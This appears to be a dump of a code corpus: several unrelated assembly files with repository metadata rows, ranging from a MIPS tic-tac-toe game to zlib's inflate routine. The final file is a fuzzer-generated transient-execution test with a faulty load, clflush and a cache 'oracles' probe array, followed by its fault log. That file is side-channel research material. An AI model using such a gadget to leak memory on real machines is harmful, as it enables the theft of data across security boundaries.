bgt $t0, 9, retDisp
lw $a0, ($t1)
li $v0, 11
syscall
div $t0, $t3
mfhi $t2
beqz $t2, nextLine
#Space
li $a0, 32
li $v0, 11
syscall
addi $t0, $t0, 1
addi $t1, $t1, 4
j dispLoop
nextLine:
li $a0, 10
li $v0, 11
syscall
addi $t0, $t0, 1
addi $t1, $t1, 4
j dispLoop
retDisp:
jr $ra
placeMark:
move $t0, $a0
la $a0, input
li $v0, 4
syscall
li $v0, 5
syscall
addi $v0, $v0, -1
mul $v0, $v0, 4
add $t0, $t0, $v0
lw $t1, ($t0)
beq $t1, '_', change
jr $ra
change:
sw $a1, ($t0)
jr $ra
checkWinner:
move $t0, $a0
li $t1, 1
li $v0, 1
loop:
bgt $t1, 9, ret
lw $t2, ($t0)
beq $t2, $a1, nextCol2
addi $t0, $t0, 4
lw $t2, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, nextCol2
addi $t0, $t0, 4
lw $t2, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, nextCol3
li $v0, 0
j ret
nextCol2:
addi $t0, $t0, 4
lw $t2, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, nextCol3
addi $t0, $t0, 8
lw $t2, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, nextRow
addi $t0, $t0, 8
lw $t2, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, nextDiag
nextCol3:
addi $t0, $t0, 4
lw $t2, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, ret
j loop
nextRow:
addi $t0, $t0, 12
lw $t2, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, ret
j loop
nextDiag:
addi $t0, $t0, 16
lw $t1, ($t0)
addi $t1, $t1, 1
beq $t2, $a1, ret
j loop
ret:
jr $ra
| 13.348485 | 70 | 0.583806 |
520fdcd58cfd9e534eb82328ad71ec604a80de13 | 1,166 | asm | Assembly | lab03/03-entry-fix/c-extra-nolibc/puts.asm | adinasm/iocla-demos | a4109ed9fd3a34b097299f941617a6380267c003 | [
"MIT"
] | null | null | null | lab03/03-entry-fix/c-extra-nolibc/puts.asm | adinasm/iocla-demos | a4109ed9fd3a34b097299f941617a6380267c003 | [
"MIT"
] | null | null | null | lab03/03-entry-fix/c-extra-nolibc/puts.asm | adinasm/iocla-demos | a4109ed9fd3a34b097299f941617a6380267c003 | [
"MIT"
] | null | null | null | section .text
global puts
; /usr/include/x86_64-linux-gnu/asm/unistd_32.h
__NR_write equ 4
; Argument is message to be printed to standard output.
puts:
push ebp
mov ebp, esp
; Call __NR_write(1, message, message_len) (system call).
;
; Use x86 Linux system call convention.
; https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux#Making_a_system_call
;
; eax stores the system call id.
; ebx stores the first system call argument: 1 (standard output).
; ecx stores the second system call argument: message.
; edc stores the third system call argument: message length.
; Store the write system call id in eax.
mov eax, __NR_write
; Store standard output file descriptor (1) in ebx.
mov ebx, 1
; Store function argument (message) in ecx.
mov ecx, [ebp+8]
; Compute message length in edx.
; Find NUL byte address of message using edi. Start from message address (ecx).
; Then edx <- edi - ecx.
mov edi, ecx
dec edi
again:
inc edi
cmp byte [edi], 0
jne again
mov edx, edi
sub edx, ecx
; Do system call.
int 0x80
leave
ret
| 23.32 | 92 | 0.665523 |
ee543c073b5673f1b0827e7081d91a01c6a57d22 | 398 | asm | Assembly | programs/oeis/296/A296028.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/296/A296028.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/296/A296028.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A296028: Characteristic function of primes in the nonmultiples of 3.
; 0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1
mov $2,$0
div $2,2
add $0,$2
cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
add $1,$0
| 44.222222 | 211 | 0.595477 |
d375498be36eccbe68c0cfd99f8ad3d9d2533eda | 653 | asm | Assembly | programs/oeis/181/A181640.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/181/A181640.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/181/A181640.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A181640: Partial sums of floor(n^2/5) (A118015).
; 0,0,0,1,4,9,16,25,37,53,73,97,125,158,197,242,293,350,414,486,566,654,750,855,970,1095,1230,1375,1531,1699,1879,2071,2275,2492,2723,2968,3227,3500,3788,4092,4412,4748,5100,5469,5856,6261,6684,7125,7585,8065,8565,9085,9625,10186,10769,11374,12001,12650,13322,14018,14738,15482,16250,17043,17862,18707,19578,20475,21399,22351,23331,24339,25375,26440,27535,28660,29815,31000,32216,33464,34744,36056,37400,38777,40188,41633,43112,44625,46173,47757,49377,51033,52725,54454,56221,58026,59869,61750,63670,65630
lpb $0
mov $2,$0
sub $0,1
seq $2,118015 ; a(n) = floor(n^2/5).
add $1,$2
lpe
mov $0,$1
| 59.363636 | 505 | 0.744257 |
69d81b16de88d92b047f3cb7b60b625e7c7f19ce | 554 | asm | Assembly | oeis/002/A002042.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/002/A002042.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/002/A002042.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A002042: a(n) = 7*4^n.
; 7,28,112,448,1792,7168,28672,114688,458752,1835008,7340032,29360128,117440512,469762048,1879048192,7516192768,30064771072,120259084288,481036337152,1924145348608,7696581394432,30786325577728,123145302310912,492581209243648,1970324836974592,7881299347898368,31525197391593472,126100789566373888,504403158265495552,2017612633061982208,8070450532247928832,32281802128991715328,129127208515966861312,516508834063867445248,2066035336255469780992,8264141345021879123968,33056565380087516495872
mov $1,4
pow $1,$0
mul $1,7
mov $0,$1
| 69.25 | 489 | 0.871841 |
6c10fd3fb4d556fe64f98ac0f9bb3a8bf812550e | 479 | asm | Assembly | programs/oeis/131/A131755.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/131/A131755.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/131/A131755.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A131755: a(n) = floor of the average of distances between consecutive positive divisors of n. Also, a(n) = floor((n-1)/(d(n)-1)), where d(n) = A000005(n).
; 1,2,1,4,1,6,2,4,3,10,2,12,4,4,3,16,3,18,3,6,7,22,3,12,8,8,5,28,4,30,6,10,11,11,4,36,12,12,5,40,5,42,8,8,15,46,5,24,9,16,10,52,7,18,7,18,19,58,5,60,20,12,10,21,9,66,13,22,9,70,6,72,24,14,15,25,11,78,8
add $0,1
mov $1,$0
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $0,1
div $1,$0
| 53.222222 | 201 | 0.624217 |
20e92dd4cebdd33838e0b828b10bca8c625e760e | 1,093 | asm | Assembly | projects/07/MemoryAccess/StaticTest/StaticTest.asm | anArkitect/Nand2Tetris | 061a2866705692269af00cf541b5fcedb1e1b93e | [
"MIT"
] | null | null | null | projects/07/MemoryAccess/StaticTest/StaticTest.asm | anArkitect/Nand2Tetris | 061a2866705692269af00cf541b5fcedb1e1b93e | [
"MIT"
] | null | null | null | projects/07/MemoryAccess/StaticTest/StaticTest.asm | anArkitect/Nand2Tetris | 061a2866705692269af00cf541b5fcedb1e1b93e | [
"MIT"
] | null | null | null | //push constant 111
@111
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 333
@333
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 888
@888
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop static 8
@SP
AM=M-1
D=M
@R15
M=D
@16
D=A
@8
D=A+D
@R14
M=D
@R15
D=M
@R14
A=M
M=D
//pop static 3
@SP
AM=M-1
D=M
@R15
M=D
@16
D=A
@3
D=A+D
@R14
M=D
@R15
D=M
@R14
A=M
M=D
//pop static 1
@SP
AM=M-1
D=M
@R15
M=D
@16
D=A
@1
D=A+D
@R14
M=D
@R15
D=M
@R14
A=M
M=D
//push static 3
@16
D=A
@3
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
//push static 1
@16
D=A
@1
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
//sub
@SP
AM=M-1
D=M
A=A-1
M=M-D
//push static 8
@16
D=A
@8
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
//add
@SP
AM=M-1
D=M
A=A-1
M=M+D
| 9.033058 | 19 | 0.335773 |
41ec82392ed03d3a63bd1bb6f903b7fd0ffdca8b | 10,187 | asm | Assembly | src/minizip/contrib/masmx64/inffasx64.asm | bitcrystal/temp | b6b32e4fa9abfa4007320e571b8beced1e353ed9 | [
"MIT"
] | 16,989 | 2015-09-01T19:57:15.000Z | 2022-03-31T23:54:00.000Z | src/minizip/contrib/masmx64/inffasx64.asm | bitcrystal/temp | b6b32e4fa9abfa4007320e571b8beced1e353ed9 | [
"MIT"
] | 12,562 | 2015-09-01T09:06:01.000Z | 2022-03-31T22:26:20.000Z | src/minizip/contrib/masmx64/inffasx64.asm | bitcrystal/temp | b6b32e4fa9abfa4007320e571b8beced1e353ed9 | [
"MIT"
] | 3,707 | 2015-09-02T19:20:01.000Z | 2022-03-31T17:06:14.000Z | ; inffasx64.asm is a hand tuned assembler version of inffast.c - fast decoding
; version for AMD64 on Windows using Microsoft C compiler
;
; inffasx64.asm is automatically convert from AMD64 portion of inffas86.c
; inffasx64.asm is called by inffas8664.c, which contain more info.
; to compile this file, I use option
; ml64.exe /Flinffasx64 /c /Zi inffasx64.asm
; with Microsoft Macro Assembler (x64) for AMD64
;
; This file compile with Microsoft Macro Assembler (x64) for AMD64
;
; ml64.exe is given with Visual Studio 2005/2008/2010 and Windows WDK
;
; (you can get Windows WDK with ml64 for AMD64 from
; http://www.microsoft.com/whdc/Devtools/wdk/default.mspx for low price)
;
.code
inffas8664fnc PROC
; see http://weblogs.asp.net/oldnewthing/archive/2004/01/14/58579.aspx and
; http://msdn.microsoft.com/library/en-us/kmarch/hh/kmarch/64bitAMD_8e951dd2-ee77-4728-8702-55ce4b5dd24a.xml.asp
;
; All registers must be preserved across the call, except for
; rax, rcx, rdx, r8, r-9, r10, and r11, which are scratch.
mov [rsp-8],rsi
mov [rsp-16],rdi
mov [rsp-24],r12
mov [rsp-32],r13
mov [rsp-40],r14
mov [rsp-48],r15
mov [rsp-56],rbx
mov rax,rcx
mov [rax+8], rbp ; /* save regs rbp and rsp */
mov [rax], rsp
mov rsp, rax ; /* make rsp point to &ar */
mov rsi, [rsp+16] ; /* rsi = in */
mov rdi, [rsp+32] ; /* rdi = out */
mov r9, [rsp+24] ; /* r9 = last */
mov r10, [rsp+48] ; /* r10 = end */
mov rbp, [rsp+64] ; /* rbp = lcode */
mov r11, [rsp+72] ; /* r11 = dcode */
mov rdx, [rsp+80] ; /* rdx = hold */
mov ebx, [rsp+88] ; /* ebx = bits */
mov r12d, [rsp+100] ; /* r12d = lmask */
mov r13d, [rsp+104] ; /* r13d = dmask */
; /* r14d = len */
; /* r15d = dist */
cld
cmp r10, rdi
je L_one_time ; /* if only one decode left */
cmp r9, rsi
jne L_do_loop
L_one_time:
mov r8, r12 ; /* r8 = lmask */
cmp bl, 32
ja L_get_length_code_one_time
lodsd ; /* eax = *(uint *)in++ */
mov cl, bl ; /* cl = bits, needs it for shifting */
add bl, 32 ; /* bits += 32 */
shl rax, cl
or rdx, rax ; /* hold |= *((uint *)in)++ << bits */
jmp L_get_length_code_one_time
ALIGN 4
L_while_test:
cmp r10, rdi
jbe L_break_loop
cmp r9, rsi
jbe L_break_loop
L_do_loop:
mov r8, r12 ; /* r8 = lmask */
cmp bl, 32
ja L_get_length_code ; /* if (32 < bits) */
lodsd ; /* eax = *(uint *)in++ */
mov cl, bl ; /* cl = bits, needs it for shifting */
add bl, 32 ; /* bits += 32 */
shl rax, cl
or rdx, rax ; /* hold |= *((uint *)in)++ << bits */
L_get_length_code:
and r8, rdx ; /* r8 &= hold */
mov eax, [rbp+r8*4] ; /* eax = lcode[hold & lmask] */
mov cl, ah ; /* cl = this.bits */
sub bl, ah ; /* bits -= this.bits */
shr rdx, cl ; /* hold >>= this.bits */
test al, al
jnz L_test_for_length_base ; /* if (op != 0) 45.7% */
mov r8, r12 ; /* r8 = lmask */
shr eax, 16 ; /* output this.val char */
stosb
L_get_length_code_one_time:
and r8, rdx ; /* r8 &= hold */
mov eax, [rbp+r8*4] ; /* eax = lcode[hold & lmask] */
L_dolen:
mov cl, ah ; /* cl = this.bits */
sub bl, ah ; /* bits -= this.bits */
shr rdx, cl ; /* hold >>= this.bits */
test al, al
jnz L_test_for_length_base ; /* if (op != 0) 45.7% */
shr eax, 16 ; /* output this.val char */
stosb
jmp L_while_test
ALIGN 4
L_test_for_length_base:
mov r14d, eax ; /* len = this */
shr r14d, 16 ; /* len = this.val */
mov cl, al
test al, 16
jz L_test_for_second_level_length ; /* if ((op & 16) == 0) 8% */
and cl, 15 ; /* op &= 15 */
jz L_decode_distance ; /* if (!op) */
L_add_bits_to_len:
sub bl, cl
xor eax, eax
inc eax
shl eax, cl
dec eax
and eax, edx ; /* eax &= hold */
shr rdx, cl
add r14d, eax ; /* len += hold & mask[op] */
L_decode_distance:
mov r8, r13 ; /* r8 = dmask */
cmp bl, 32
ja L_get_distance_code ; /* if (32 < bits) */
lodsd ; /* eax = *(uint *)in++ */
mov cl, bl ; /* cl = bits, needs it for shifting */
add bl, 32 ; /* bits += 32 */
shl rax, cl
or rdx, rax ; /* hold |= *((uint *)in)++ << bits */
L_get_distance_code:
and r8, rdx ; /* r8 &= hold */
mov eax, [r11+r8*4] ; /* eax = dcode[hold & dmask] */
L_dodist:
mov r15d, eax ; /* dist = this */
shr r15d, 16 ; /* dist = this.val */
mov cl, ah
sub bl, ah ; /* bits -= this.bits */
shr rdx, cl ; /* hold >>= this.bits */
mov cl, al ; /* cl = this.op */
test al, 16 ; /* if ((op & 16) == 0) */
jz L_test_for_second_level_dist
and cl, 15 ; /* op &= 15 */
jz L_check_dist_one
L_add_bits_to_dist:
sub bl, cl
xor eax, eax
inc eax
shl eax, cl
dec eax ; /* (1 << op) - 1 */
and eax, edx ; /* eax &= hold */
shr rdx, cl
add r15d, eax ; /* dist += hold & ((1 << op) - 1) */
L_check_window:
mov r8, rsi ; /* save in so from can use it's reg */
mov rax, rdi
sub rax, [rsp+40] ; /* nbytes = out - beg */
cmp eax, r15d
jb L_clip_window ; /* if (dist > nbytes) 4.2% */
mov ecx, r14d ; /* ecx = len */
mov rsi, rdi
sub rsi, r15 ; /* from = out - dist */
sar ecx, 1
jnc L_copy_two ; /* if len % 2 == 0 */
rep movsw
mov al, [rsi]
mov [rdi], al
inc rdi
mov rsi, r8 ; /* move in back to %rsi, toss from */
jmp L_while_test
L_copy_two:
rep movsw
mov rsi, r8 ; /* move in back to %rsi, toss from */
jmp L_while_test
ALIGN 4
L_check_dist_one:
cmp r15d, 1 ; /* if dist 1, is a memset */
jne L_check_window
cmp [rsp+40], rdi ; /* if out == beg, outside window */
je L_check_window
mov ecx, r14d ; /* ecx = len */
mov al, [rdi-1]
mov ah, al
sar ecx, 1
jnc L_set_two
mov [rdi], al
inc rdi
L_set_two:
rep stosw
jmp L_while_test
ALIGN 4
L_test_for_second_level_length:
test al, 64
jnz L_test_for_end_of_block ; /* if ((op & 64) != 0) */
xor eax, eax
inc eax
shl eax, cl
dec eax
and eax, edx ; /* eax &= hold */
add eax, r14d ; /* eax += len */
mov eax, [rbp+rax*4] ; /* eax = lcode[val+(hold&mask[op])]*/
jmp L_dolen
ALIGN 4
L_test_for_second_level_dist:
test al, 64
jnz L_invalid_distance_code ; /* if ((op & 64) != 0) */
xor eax, eax
inc eax
shl eax, cl
dec eax
and eax, edx ; /* eax &= hold */
add eax, r15d ; /* eax += dist */
mov eax, [r11+rax*4] ; /* eax = dcode[val+(hold&mask[op])]*/
jmp L_dodist
ALIGN 4
L_clip_window:
mov ecx, eax ; /* ecx = nbytes */
mov eax, [rsp+92] ; /* eax = wsize, prepare for dist cmp */
neg ecx ; /* nbytes = -nbytes */
cmp eax, r15d
jb L_invalid_distance_too_far ; /* if (dist > wsize) */
add ecx, r15d ; /* nbytes = dist - nbytes */
cmp dword ptr [rsp+96], 0
jne L_wrap_around_window ; /* if (write != 0) */
mov rsi, [rsp+56] ; /* from = window */
sub eax, ecx ; /* eax -= nbytes */
add rsi, rax ; /* from += wsize - nbytes */
mov eax, r14d ; /* eax = len */
cmp r14d, ecx
jbe L_do_copy ; /* if (nbytes >= len) */
sub eax, ecx ; /* eax -= nbytes */
rep movsb
mov rsi, rdi
sub rsi, r15 ; /* from = &out[ -dist ] */
jmp L_do_copy
ALIGN 4
L_wrap_around_window:
mov eax, [rsp+96] ; /* eax = write */
cmp ecx, eax
jbe L_contiguous_in_window ; /* if (write >= nbytes) */
mov esi, [rsp+92] ; /* from = wsize */
add rsi, [rsp+56] ; /* from += window */
add rsi, rax ; /* from += write */
sub rsi, rcx ; /* from -= nbytes */
sub ecx, eax ; /* nbytes -= write */
mov eax, r14d ; /* eax = len */
cmp eax, ecx
jbe L_do_copy ; /* if (nbytes >= len) */
sub eax, ecx ; /* len -= nbytes */
rep movsb
mov rsi, [rsp+56] ; /* from = window */
mov ecx, [rsp+96] ; /* nbytes = write */
cmp eax, ecx
jbe L_do_copy ; /* if (nbytes >= len) */
sub eax, ecx ; /* len -= nbytes */
rep movsb
mov rsi, rdi
sub rsi, r15 ; /* from = out - dist */
jmp L_do_copy
ALIGN 4
L_contiguous_in_window:
mov rsi, [rsp+56] ; /* rsi = window */
add rsi, rax
sub rsi, rcx ; /* from += write - nbytes */
mov eax, r14d ; /* eax = len */
cmp eax, ecx
jbe L_do_copy ; /* if (nbytes >= len) */
sub eax, ecx ; /* len -= nbytes */
rep movsb
mov rsi, rdi
sub rsi, r15 ; /* from = out - dist */
jmp L_do_copy ; /* if (nbytes >= len) */
ALIGN 4
L_do_copy:
mov ecx, eax ; /* ecx = len */
rep movsb
mov rsi, r8 ; /* move in back to %esi, toss from */
jmp L_while_test
L_test_for_end_of_block:
test al, 32
jz L_invalid_literal_length_code
mov dword ptr [rsp+116], 1
jmp L_break_loop_with_status
L_invalid_literal_length_code:
mov dword ptr [rsp+116], 2
jmp L_break_loop_with_status
L_invalid_distance_code:
mov dword ptr [rsp+116], 3
jmp L_break_loop_with_status
L_invalid_distance_too_far:
mov dword ptr [rsp+116], 4
jmp L_break_loop_with_status
L_break_loop:
mov dword ptr [rsp+116], 0
L_break_loop_with_status:
; /* put in, out, bits, and hold back into ar and pop esp */
mov [rsp+16], rsi ; /* in */
mov [rsp+32], rdi ; /* out */
mov [rsp+88], ebx ; /* bits */
mov [rsp+80], rdx ; /* hold */
mov rax, [rsp] ; /* restore rbp and rsp */
mov rbp, [rsp+8]
mov rsp, rax
mov rsi,[rsp-8]
mov rdi,[rsp-16]
mov r12,[rsp-24]
mov r13,[rsp-32]
mov r14,[rsp-40]
mov r15,[rsp-48]
mov rbx,[rsp-56]
ret 0
; :
; : "m" (ar)
; : "memory", "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi",
; "%r8", "%r9", "%r10", "%r11", "%r12", "%r13", "%r14", "%r15"
; );
inffas8664fnc ENDP
;_TEXT ENDS
END
| 25.65995 | 112 | 0.53156 |
de2d55cfa73b5c3456f21e781da0d9de18ccd65c | 6,736 | asm | Assembly | Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0xca.log_21829_1547.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0xca.log_21829_1547.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0xca.log_21829_1547.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x647a, %rsi
lea addresses_WC_ht+0xe1fa, %rdi
nop
nop
xor %r10, %r10
mov $112, %rcx
rep movsw
nop
nop
sub $4691, %r12
lea addresses_normal_ht+0x14dfa, %rsi
lea addresses_WT_ht+0x13c4a, %rdi
nop
nop
nop
add $19513, %r12
mov $42, %rcx
rep movsb
nop
nop
inc %rdi
lea addresses_UC_ht+0xf6e, %rbp
nop
nop
nop
nop
add %rcx, %rcx
vmovups (%rbp), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rsi
nop
nop
nop
xor $58544, %r12
lea addresses_normal_ht+0x1a9fa, %rsi
lea addresses_normal_ht+0x139fa, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
and $58116, %r8
mov $11, %rcx
rep movsb
nop
nop
nop
nop
xor $60112, %rcx
lea addresses_UC_ht+0x31fa, %rsi
lea addresses_WT_ht+0x86fa, %rdi
nop
nop
nop
nop
and %r12, %r12
mov $89, %rcx
rep movsl
nop
inc %r10
lea addresses_WC_ht+0x19cba, %rcx
nop
nop
nop
sub $34181, %r10
movups (%rcx), %xmm4
vpextrq $1, %xmm4, %rdi
nop
nop
nop
sub %r8, %r8
lea addresses_A_ht+0x1077a, %r8
nop
nop
cmp $61251, %rcx
movups (%r8), %xmm4
vpextrq $1, %xmm4, %rbp
nop
nop
nop
xor %rsi, %rsi
lea addresses_WC_ht+0x1e1aa, %rsi
lea addresses_WT_ht+0x14dfa, %rdi
nop
nop
nop
nop
nop
and %rdx, %rdx
mov $17, %rcx
rep movsw
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0x81fa, %r12
nop
nop
nop
xor $8385, %rcx
movb (%r12), %r10b
nop
nop
nop
nop
nop
and $34231, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %rbx
push %rdi
push %rdx
// Load
lea addresses_WT+0xedfa, %rbx
clflush (%rbx)
nop
nop
nop
nop
cmp $3640, %rdi
movb (%rbx), %r10b
nop
nop
nop
nop
add $59585, %r10
// Faulty Load
lea addresses_A+0xa9fa, %r12
nop
add $13923, %rdx
mov (%r12), %rbx
lea oracles, %r11
and $0xff, %rbx
shlq $12, %rbx
mov (%r11,%rbx,1), %rbx
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': True, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'44': 8, '48': 13, '47': 117, '00': 21356, 'e5': 79, 'd0': 1, 'e6': 254, '80': 1}
00 00 00 00 00 00 00 00 00 00 00 47 e5 47 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 e5 e5 47 e5 e5 47 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 